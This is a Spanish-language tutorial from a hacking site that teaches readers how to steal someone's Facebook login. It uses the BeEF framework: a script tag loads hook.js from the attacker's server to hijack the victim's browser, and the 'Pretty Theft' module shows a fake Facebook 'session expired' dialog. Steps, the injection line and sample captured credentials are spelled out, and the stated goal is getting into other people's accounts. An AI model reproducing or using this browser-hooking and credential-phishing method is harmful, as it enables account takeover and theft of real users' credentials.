Muchas personas vienen a Z0172CK buscando piratear Facebook sin las habilidades necesarias para hacerlo. Facebook esta lejos de ser inquebrantable, pero para hacerlo, necesitaras algunas habilidades , y el desarrollo de habilidades es de lo que se trata z0172ck.
A veces, si tiene un poco de habilidad, un poco de suerte y un poco de ingenieria social,
puede obtener las credenciales de Facebook.
De eso se trata este tutorial.
Si no se toma el tiempo para instalar Kali y aprender un poco sobre las redes y Linux ,
esto no funcionara para usted, pero si esta dispuesto a tomarse un poco de tiempo para estudiar aqui en Z0172CK, probablemente pueda obtener acceso a las credenciales de alguien en Facebook muy facilmente con este pequeno truco.
(Todos los usuarios de Facebook deben tomar nota de esto si no quieres ser hackeado ).
Abra BeEF
Sino tiene istalado BeEF lo puede hacer con el Siguinte Comando:
sudo apt install beef-xss
Enciende Kali, y deberias ser recibido con una pantalla como la de abajo. Inicie BeEF haciendo clic en el icono de vaca a la izquierda del escritorio de Kali.
Cuando haces clic en BeEF xss Framework , comienza BeEF abriendo un terminal.
BeEF es una aplicacion que se ejecuta en segundo plano en un servidor web de su sistema al que accede desde un navegador. Una vez que BeEF este en funcionamiento, abra su navegador para acceder a su interfaz. Puede iniciar sesion en BeEF utilizando el nombre de usuario beef y la contrasena beef .
Engancha el navegador de la victima
Esta es la parte mas critica, tal vez incluso la mas dificil, de este truco. Debe hacer que la victima haga clic en un enlace de JavaScript especialmente disenado para "enganchar" su navegador. Esto se puede hacer de innumerables maneras.
La forma mas simple es simplemente incrustar el codigo en su sitio web e incitar al usuario a hacer clic en el. Esto puede hacerse mediante el texto " Haga clic aqui para obtener mas informacion " o " Haga clic aqui para ver el video ". Use su imaginacion.
El guion se parece a lo siguiente. Incruste en una pagina web, y cuando alguien hace clic en ella, ¡es dueno de su navegador! (Comente a continuacion si tiene alguna pregunta sobre esto; tambien puede usar el MitMf para enviar el codigo al usuario, pero esto requiere mas habilidad).
<script src= "http://192.168.1.101:3000/hook.js” ; type= "text/javascript" ></script>
A partir de aqui, supondre que ha "enganchado" el navegador de la victima y esta listo para poseerlo.
Enviar un cuadro de dialogo al usuario
Cuando haya enganchado el navegador de la victima, su direccion IP, junto con el sistema operativo y los iconos de tipo de navegador, apareceran en el panel "Navegadores enganchados" a la izquierda. Aqui, simplemente he usado mi propio navegador para demostrar.
Si hacemos clic en el navegador conectado, se abre una interfaz BeEF en el lado derecho. Tenga en cuenta que nos da los detalles del navegador inicialmente. Tambien nos proporciona una serie de pestanas. Para nuestros propositos aqui, estamos interesados en la pestana 'Comandos'.
Haga clic en la pestana "Comandos", luego desplacese hacia abajo por el "Arbol de modulos" hasta llegar a "Ingenieria social" y haga clic para expandirlo. Mostrara numerosos modulos de ingenieria social. Haga clic en "Pretty Theft", que abrira una ventana de "Historial de resultados del modulo" y "Pretty Theft".
Este modulo le permite enviar una ventana emergente en el navegador del usuario. En nuestro caso, utilizaremos el cuadro de dialogo de Facebook.
Si hacemos clic en el cuadro "Tipo de dialogo", podemos ver que este modulo no solo puede crear un cuadro de dialogo de Facebook, sino tambien un cuadro de dialogo de LinkedIn, Windows, YouTube, Yammer y generico. Seleccione el tipo de dialogo de Facebook, luego haga clic en el boton "Ejecutar" en la parte inferior.
El cuadro de dialogo aparece en el sistema de destino
Cuando haces clic en "Ejecutar" en BeEF, aparecera un cuadro de dialogo en el navegador de la victima como el que se muestra a continuacion. Le dice a la victima que su sesion de Facebook ha expirado y que deben volver a ingresar sus credenciales.
A pesar de que puede ser sospechoso de un tal cuadro emergente, la mayoria de usuarios confian en que su sesion de Facebook expiro y solo tiene que introducir su correo electronico y contrasena en.
Coseche las credenciales
De vuelta en nuestro sistema en la interfaz BeEf, podemos ver que las credenciales aparecen en la ventana "Resultados del comando". La victima ingreso su direccion de correo electronico "loveofmylife@gmail.com" y su contrasena "sweetbippy" y fueron capturados y presentados a usted en BeEF.
Si realmente esta decidido a obtener esas credenciales de Facebook, definitivamente se puede hacer, y esta es solo una forma de muchos metodos (pero probablemente el mas simple).
Si quieres desarrollar las habilidades a un nivel aun mas alto, comienza a estudiar aqui en Z0172CK para dominar el conjunto de habilidades mas valioso del siglo XXI: ¡piratear!
Become a Patron!